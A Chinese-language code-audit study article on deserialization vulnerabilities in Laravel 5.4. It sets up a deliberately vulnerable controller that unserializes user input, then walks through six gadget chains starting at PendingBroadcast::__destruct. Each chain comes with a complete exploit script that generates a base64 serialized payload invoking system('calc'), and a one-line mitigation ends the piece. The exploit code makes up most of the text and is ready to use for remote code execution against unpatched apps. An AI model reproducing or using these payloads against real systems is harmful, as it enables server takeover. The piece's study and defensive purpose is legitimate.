代码审计学习—Laravel5.4
字数 1586 2025-08-29 08:31:47
Laravel 5.4 反序列化漏洞分析与利用
环境搭建
- 在
routes/web.php中添加路由:
Route::get('/', "DemoController@demo");
- 在
app/Http/Controllers目录下添加控制器:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller {
public function demo() {
if(isset($_GET['data'])) {
@unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
}
}
漏洞分析
反序列化漏洞的触发点通常位于 __destruct() 或 __wakeup() 方法中。
POC链分析
POC链-1
利用路径:
PendingBroadcast::__destruct()Generator::__call()Generator::format()Generator::getFormatter()
关键点:
PendingBroadcast类的$events和$event属性可控Generator类的$formatters数组可控
EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events="", $event="") {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker {
class Generator {
protected $formatters = array();
function __construct($func="") {
$this->formatters = ['dispatch' => $func];
}
}
}
namespace {
$demo1 = new Faker\Generator("system");
$demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
echo base64_encode(serialize($demo2));
}
?>
POC链-2
利用路径:
PendingBroadcast::__destruct()Validator::__call()Validator::callExtension()call_user_func_array()
关键点:
Validator类的$extensions数组可控- 通过截取方法名后调用扩展方法
EXP:
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd) {
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>
POC链-3
利用路径:
PendingBroadcast::__destruct()ChannelManager::__call()ChannelManager::driver()ChannelManager::createDriver()ChannelManager::callCustomCreator()
关键点:
ChannelManager类的$customCreators和$app属性可控- 通过自定义驱动创建器触发RCE
EXP:
<?php
namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $customCreators;
protected $defaultChannel;
public function __construct() {
$this->app = 'calc';
$this->defaultChannel = 'H3rmesk1t';
$this->customCreators = ['H3rmesk1t' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
public function __construct() {
$this->events = new ChannelManager();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链-4
利用路径:
PendingBroadcast::__destruct()Dispatcher::dispatch()Dispatcher::getListeners()- 直接调用可控的监听器函数
关键点:
Dispatcher类的$listeners数组可控- 通过控制监听器函数和事件参数实现RCE
EXP:
<?php
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function __construct() {
$this->listeners = ["calc" => ["system"]];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = "calc";
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链-5
利用路径:
PendingBroadcast::__destruct()Dispatcher::dispatch()Dispatcher::dispatchToQueue()call_user_func()
关键点:
Dispatcher类的$queueResolver可控- 需要
$command实现ShouldQueue接口 - 利用
BroadcastEvent类满足条件
EXP:
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class BroadcastEvent {
public $connection;
public $event;
public function __construct() {
$this->event = "calc";
$this->connection = $this->event;
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链-6
利用路径:
PendingBroadcast::__destruct()Dispatcher::dispatch()Dispatcher::dispatchToQueue()call_user_func()EvalLoader::load()MockDefinition::getCode()
关键点:
- 利用
EvalLoader加载恶意代码 - 需要绕过
MockConfiguration的类名检查
EXP-1:
<?php
namespace Mockery\Generator {
class MockConfiguration {
protected $name = 'H3rmesk1t';
}
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->config = new MockConfiguration();
$this->code = "<?php system('calc');?>";
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
**EXP-2**:
```php
<?php
namespace Symfony\Component\HttpFoundation {
class Cookie {
protected $name = "H3rmesk1t";
}
}
namespace Mockery\Generator {
use Symfony\Component\HttpFoundation\Cookie;
class MockDefinition {
protected $config;
protected $code;
public function __construct($code) {
$this->config = new Cookie();
$this->code = $code;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition("<?php system('calc');?>");
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
总结
- Laravel 5.4 反序列化漏洞主要通过
PendingBroadcast类的__destruct()方法作为入口点 - 利用方式多样,可以通过
__call()方法或dispatch()方法作为跳板 - 关键点在于控制类属性,构造合适的调用链
- 漏洞利用需要满足特定条件,如实现特定接口或包含特定属性
- 防护措施:避免反序列化用户可控数据,更新到最新版本